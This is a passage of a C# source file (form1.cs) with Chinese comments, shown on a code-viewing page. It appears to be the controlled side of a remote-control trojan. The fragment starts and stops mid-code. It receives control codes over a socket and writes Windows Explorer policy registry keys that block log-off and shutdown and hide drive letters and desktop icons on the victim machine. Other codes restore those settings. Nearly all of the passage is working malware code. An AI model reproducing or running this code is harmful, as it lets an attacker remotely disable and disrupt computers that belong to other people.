📄 form1.cs
字号:
key1.SetValue("NoDesktop",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.SetValue("NoClose",1);
key2.SetValue("NoDesktop",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as1011,控制服务器不能注销且隐藏硬盘盘符和桌面图标.
if(ss=="as1011")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",1);
key1.SetValue("NoDrives",12);
key1.SetValue("NoDesktop",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0";
}
catch{}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.SetValue("NoDrives",12);
key2.SetValue("NoDesktop",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as0111,控制服务器无法关机且隐藏硬盘盘符和桌面图标.
if(ss=="as0111")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoDrives",12);
key1.SetValue("NoClose",1);
key1.SetValue("NoDesktop",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoDrives",12);
key2.SetValue("NoClose",1);
key2.SetValue("NoDesktop",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为as1111,控制服务器无法关机注销并隐藏桌面图标和硬盘盘符.
if(ss=="as1111")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",1);
key1.SetValue("NoClose",1);
key1.SetValue("NoDrives",12);
key1.SetValue("NoDesktop",1);
key1.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0";
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.SetValue("NoClose",1);
key2.SetValue("NoDrives",12);
key2.SetValue("NoDesktop",1);
key2.Close();
messagestring=messagestring+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0";
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//恢复注册表的控制操作.
//控制码为rs1000,恢复注销功能.
if(ss=="rs1000")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs0100,恢复关机功能.
if(ss=="rs0100")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoClose",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoClose",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs0010,恢复显示硬盘盘符.
if(ss=="rs0010")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoDrives",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoDrives",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs0001,恢复显示桌面图标.
if(ss=="rs0001")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoDesktop",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoDesktop",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs1100,恢复注销与关机功能.
if(ss=="rs1100")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",0);
key1.SetValue("NoClose",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",0);
key2.SetValue("NoClose",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs1010,恢复注销功能且显示隐藏硬盘盘符.
if(ss=="rs1010")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",0);
key1.SetValue("NoDrives",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",0);
key2.SetValue("NoDrives",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs1001,恢复注销功能且显示桌面图标.
if(ss=="rs1001")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoLogOff",0);
key1.SetValue("NoDesktop",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",0);
key2.SetValue("NoDesktop",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs0110,恢复关机功能且显示隐藏硬盘盘符.
if(ss=="rs0110")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoClose",0);
key1.SetValue("NoDrives",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoClose",0);
key2.SetValue("NoDrives",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs0101,恢复关机功能且显示桌面图标.
if(ss=="rs0101")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoClose",0);
key1.SetValue("NoDesktop",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
try
{
RegistryKey key2=reg.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoClose",0);
key2.SetValue("NoDesktop",0);
key2.Close();
}
catch
{
}
}
string str="ctr";
byte[] newbyte=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(newbyte,newbyte.Length,0);
}
//控制码为rs0011,显示隐藏硬盘盘符和桌面图标.
if(ss=="rs0011")
{
try
{
key1=reg.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key1.SetValue("NoDrives",0);
key1.SetValue("NoDesktop",0);
key1.Close();
}
catch
{
}
if(key1==null)
{
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -